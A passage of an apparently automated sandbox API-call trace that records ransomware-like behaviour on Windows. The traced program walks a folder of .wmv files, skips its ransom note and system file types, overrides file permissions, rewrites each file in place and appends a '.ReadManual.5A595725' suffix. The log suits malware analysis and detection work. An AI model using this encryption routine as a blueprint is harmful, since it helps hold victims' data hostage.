ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0254.776] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsMainBackground.wmv" | out: lpString1="SportsMainBackground.wmv") returned="SportsMainBackground.wmv" [0254.776] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="RecoveryManual.html") returned 1 [0254.776] StrStrIW (lpFirst="SportsMainBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.776] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0254.776] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0254.776] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" [0254.776] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.ReadManual.5A595725" [0254.776] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.ReadManual.5A595725") returned 99 [0254.776] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37544502057) returned 1 [0254.776] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0x20 [0254.776] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.777] GetLastError () returned 0x5 [0254.777] GetNamedSecurityInfoW () returned 0x0 [0254.777] SetNamedSecurityInfoW () returned 0x0 [0254.777] SetNamedSecurityInfoW () returned 0x0 [0254.779] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.779] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5477696) returned 1 [0254.779] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x539540, lpName=0x0) returned 0x1a0 [0254.779] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0254.780] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.780] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.782] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.782] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x539540) returned 0x4350000 [0254.969] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0254.980] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37564850972) returned 1 [0254.980] CloseHandle (hObject=0x1a0) returned 1 [0254.980] SetSecurityInfo () returned 0x5 [0254.980] SetSecurityInfo () returned 0x5 [0254.980] LocalFree (hMem=0x674d38) returned 0x0 [0254.980] CloseHandle (hObject=0x184) returned 1 [0254.980] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0254.980] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsMainBackground_PAL.wmv" | out: lpString1="SportsMainBackground_PAL.wmv") returned="SportsMainBackground_PAL.wmv" [0254.980] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0254.980] StrStrIW (lpFirst="SportsMainBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.980] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0254.980] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0254.980] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0254.980] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0254.980] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0254.980] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0254.980] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0254.981] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0254.981] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" [0254.981] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.ReadManual.5A595725" [0254.981] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.ReadManual.5A595725") returned 103 [0254.981] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37564967433) returned 1 [0254.981] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0x20 [0254.981] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.981] GetLastError () returned 0x5 [0254.981] GetNamedSecurityInfoW () returned 0x0 [0254.982] SetNamedSecurityInfoW () returned 0x0 [0254.982] SetNamedSecurityInfoW () returned 0x0 [0254.983] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.983] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5749696) returned 1 [0254.983] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x57bbc0, lpName=0x0) returned 0x1a0 [0254.983] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0254.984] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.984] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.986] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.986] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x57bbc0) returned 0x4350000 [0255.184] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0255.197] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37586612967) returned 1 [0255.197] CloseHandle (hObject=0x1a0) returned 1 [0255.197] SetSecurityInfo () returned 0x5 [0255.198] SetSecurityInfo () returned 0x5 [0255.198] LocalFree (hMem=0x674d38) returned 0x0 [0255.198] CloseHandle (hObject=0x184) returned 1 [0255.198] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0255.198] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsMainToNotesBackground.wmv" | out: lpString1="SportsMainToNotesBackground.wmv") returned="SportsMainToNotesBackground.wmv" [0255.198] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="RecoveryManual.html") returned 1 [0255.198] StrStrIW (lpFirst="SportsMainToNotesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0255.198] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0255.198] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0255.198] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" [0255.198] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.ReadManual.5A595725" [0255.198] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.ReadManual.5A595725") returned 106 [0255.199] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37586731599) returned 1 [0255.199] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0x20 [0255.199] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.199] GetLastError () returned 0x5 [0255.199] GetNamedSecurityInfoW () returned 0x0 [0255.199] SetNamedSecurityInfoW () returned 0x0 [0255.200] SetNamedSecurityInfoW () returned 0x0 [0255.200] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0255.201] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1829606) returned 1 [0255.201] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1beae6, lpName=0x0) returned 0x1a0 [0255.201] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0255.201] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.201] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0255.203] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0255.203] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1beae6) returned 0x4350000 [0255.258] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0255.261] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37593022908) returned 1 [0255.262] CloseHandle (hObject=0x1a0) returned 1 [0255.262] SetSecurityInfo () returned 0x5 [0255.262] SetSecurityInfo () returned 0x5 [0255.262] LocalFree (hMem=0x674d38) returned 0x0 [0255.262] CloseHandle (hObject=0x184) returned 1 [0255.293] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0255.293] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsMainToNotesBackground_PAL.wmv" | out: lpString1="SportsMainToNotesBackground_PAL.wmv") returned="SportsMainToNotesBackground_PAL.wmv" [0255.293] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0255.293] StrStrIW (lpFirst="SportsMainToNotesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0255.293] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0255.293] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0255.294] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0255.294] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0255.294] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0255.294] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0255.294] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0255.294] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" [0255.294] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.ReadManual.5A595725" [0255.294] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.ReadManual.5A595725") returned 110 [0255.294] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37596254347) returned 1 [0255.294] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0x20 [0255.295] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.295] GetLastError () returned 0x5 [0255.295] GetNamedSecurityInfoW () returned 0x0 [0255.295] SetNamedSecurityInfoW () returned 0x0 [0255.296] SetNamedSecurityInfoW () returned 0x0 [0255.296] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0255.297] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1837606) returned 1 [0255.297] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c0a26, lpName=0x0) returned 0x1a0 [0255.297] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xec) returned 1 [0255.297] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.297] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0255.300] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0255.300] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c0a26) returned 0x4350000 [0255.370] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0255.374] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37604301216) returned 1 [0255.374] CloseHandle (hObject=0x1a0) returned 1 [0255.374] SetSecurityInfo () returned 0x5 [0255.374] SetSecurityInfo () returned 0x5 [0255.374] LocalFree (hMem=0x674d38) returned 0x0 [0255.374] CloseHandle (hObject=0x184) returned 1 [0255.375] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0255.375] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsMainToScenesBackground.wmv" | out: lpString1="SportsMainToScenesBackground.wmv") returned="SportsMainToScenesBackground.wmv" [0255.375] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="RecoveryManual.html") returned 1 [0255.375] StrStrIW (lpFirst="SportsMainToScenesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0255.375] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0255.375] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0255.375] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" [0255.375] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.ReadManual.5A595725" [0255.375] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.ReadManual.5A595725") returned 107 [0255.375] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37604408446) returned 1 [0255.375] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0x20 [0255.376] CreateFileW (lpFileName="\\\\?\\c:\\Program 